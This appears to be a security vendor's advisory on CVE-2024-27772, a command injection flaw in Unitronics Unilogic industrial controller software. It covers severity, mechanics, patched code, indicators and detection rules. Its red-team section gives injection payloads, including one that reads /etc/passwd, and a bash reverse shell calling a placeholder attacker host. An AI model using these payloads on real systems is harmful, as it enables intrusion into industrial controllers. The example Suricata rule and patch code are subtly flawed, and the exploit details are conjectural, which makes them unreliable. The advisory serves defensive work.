CVE-2024-27772

Executive Summary

CVE-2024-27772 is a critical OS Command Injection vulnerability (CWE-78) affecting Unitronics Unistream Unilogic versions prior to 1.35.227. This flaw allows an unauthenticated attacker to execute arbitrary operating system commands on the affected device, leading to full Remote Code Execution (RCE). The vulnerability resides in the Unilogic programming environment, which is used to configure and manage Unitronics industrial controllers. Given the industrial control system (ICS) context, exploitation could result in severe operational disruption, data exfiltration, or even physical damage to controlled processes. The CVSS score of 8.8 reflects the high impact on confidentiality, integrity, and availability, combined with network-based attack vector and low complexity. No public proof-of-concept or exploit code is currently available, but the risk remains significant due to the unpatched status and the critical nature of the affected systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary industrial control software (Unitronics Unistream Unilogic). Supply chain risks include compromised firmware updates or third-party integrations that may leverage this vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full read access to system data.
• Integrity (I): High – Full write access to system data and configurations.
• Availability (A): High – Potential for denial of service or system shutdown.

Threat Level: Critical. The combination of network exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using Unitronics Unistream Unilogic.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in the Unilogic programming environment. The software fails to properly sanitize user-supplied input when constructing system commands. An attacker can inject arbitrary commands by sending specially crafted requests to the Unilogic service (typically listening on TCP port 20256). The injected commands are executed with the privileges of the Unilogic process, which often runs with high-level system rights on the controller.

Root Cause: The application uses user input directly in a system call (e.g., system(), exec(), or similar) without proper validation or escaping. For example, a parameter intended for file operations or configuration changes may be concatenated into a command string without sanitization.

Attack Flow:

1. Attacker identifies a Unitronics Unistream device exposed to the network.
2. Attacker sends a malicious payload to the Unilogic service, e.g., via a crafted HTTP request or direct TCP connection.
3. The payload includes OS command separators (e.g., ;, |, &&) followed by arbitrary commands.
4. The Unilogic service executes the injected commands on the underlying operating system.
5. Attacker gains remote code execution, potentially leading to full device compromise.

Impact in ICS Environment:

• Disruption of industrial processes (e.g., stopping assembly lines, altering sensor readings).
• Data exfiltration of proprietary control logic or production data.
• Lateral movement to other ICS devices or corporate networks.
• Physical damage if commands affect actuators, valves, or safety systems.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.35.227):

// Example vulnerable function in Unilogic
void process_command(char *user_input) {
    char cmd[256];
    sprintf(cmd, "some_tool %s", user_input);  // No sanitization
    system(cmd);
}

Patched Code (Version 1.35.227):

// Example patched function
void process_command(char *user_input) {
    // Input validation: allow only alphanumeric and specific safe characters
    if (!is_valid_input(user_input)) {
        log_error("Invalid input");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_tool %s", user_input);
    // Use execve with argument array to avoid shell injection
    char *args[] = {"some_tool", user_input, NULL};
    execve("/usr/bin/some_tool", args, NULL);
}

Key Differences:

• Input validation: Patched version checks for allowed characters.
• Command execution: Patched version uses execve with argument array, preventing shell interpretation of special characters.
• Error handling: Patched version logs and rejects invalid input.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Unitronics Unistream device with Unilogic < 1.35.227 (e.g., virtualized or physical test unit).
• Attacker: Kali Linux or similar with network access to the target.

Exploitation Steps:

1. Discovery: Scan for devices on port 20256 using Nmap.

   nmap -p 20256 --open <target_network>
   

2. Identify Service: Banner grab to confirm Unilogic.

   nc -nv <target_ip> 20256
   

3. Craft Payload: Inject OS command via vulnerable parameter. Example using curl:

   curl -X POST http://<target_ip>:20256/command -d "param=;id"
   

   Or via raw socket:

   import socket
   s = socket.socket()
   s.connect(("<target_ip>", 20256))
   payload = b"param=;cat /etc/passwd\n"
   s.send(payload)
   print(s.recv(1024))
   s.close()
   

4. Execute Commands: Use reverse shell for interactive access.

   # On attacker machine
   nc -lvnp 4444
   # Payload
   param=;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
   

Note: No public exploit code is available; the above is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

• Monitor network traffic to port 20256 for unusual patterns (e.g., command separators like ;, |, &).
• Deploy network intrusion detection signatures (see Suricata rules below).
• Enable logging on Unilogic devices and review for unexpected command executions.
• Isolate affected devices on a separate VLAN with strict access controls.
• Implement application whitelisting to prevent unauthorized binaries from executing.

Honeypot Deployment:

• Set up a decoy Unitronics device to capture attacker techniques and payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• Unusual outbound connections from Unilogic devices to external IPs (e.g., reverse shell callbacks).
• Traffic containing command separators (;, |, &&, ||) on port 20256.
• Repeated failed login attempts or unexpected service restarts.

Host IOCs:

• Unexpected processes spawned by the Unilogic service (e.g., bash, nc, python).
• New files in temporary directories (e.g., /tmp/).
• Modified system binaries or configuration files.
• Unusual entries in system logs (e.g., /var/log/syslog).

File IOCs:

• Suspicious scripts or binaries uploaded to the device.
• Changes to Unilogic project files or ladder logic.

Detection Engineering

YARA Rule

rule CVE_2024_27772_Unilogic_Command_Injection {
    meta:
        description = "Detects potential command injection attempts against Unitronics Unistream Unilogic"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-27772"
    strings:
        $cmd_sep1 = ";"
        $cmd_sep2 = "|"
        $cmd_sep3 = "&&"
        $cmd_sep4 = "||"
        $cmd_sep5 = "`"
        $cmd_sep6 = "$("
        $unilogic_port = "20256"
    condition:
        any of ($cmd_sep*) and $unilogic_port
}

Sigma Rule

title: CVE-2024-27772 Unilogic Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic indicative of command injection against Unitronics Unistream Unilogic
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27772
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 20256
        payload|contains:
            - ';'
            - '|'
            - '&&'
            - '||'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration (rare)
level: high

Suricata Rule

alert tcp any any -> any 20256 (msg:"CVE-2024-27772 Unilogic Command Injection Attempt"; flow:to_server,established; content:"|3B|"; offset:0; depth:100; content:"|7C|"; offset:0; depth:100; content:"|26 26|"; offset:0; depth:100; content:"|7C 7C|"; offset:0; depth:100; content:"|60|"; offset:0; depth:100; content:"|24 28|"; offset:0; depth:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Unilogic to version 1.35.227 or later as soon as possible.
2. Network Segmentation: Isolate Unitronics devices on a dedicated VLAN with strict firewall rules. Block inbound access to port 20256 from untrusted networks.
3. Access Control: Implement strong authentication and disable unnecessary services.
4. Monitoring: Deploy the detection rules above to identify exploitation attempts.

Long-Term Measures:

• Apply the principle of least privilege to Unilogic processes.
• Regularly audit and patch all ICS components.
• Conduct penetration testing focusing on command injection vulnerabilities.
• Implement a Web Application Firewall (WAF) or IPS to filter malicious payloads.

Workaround (if patching is not possible):

• Disable remote access to the Unilogic service entirely.
• Use a VPN or jump host for administrative access.
• Monitor logs and network traffic for signs of compromise.

Valters IT
Securing Industrial Environments, One CVE at a Time.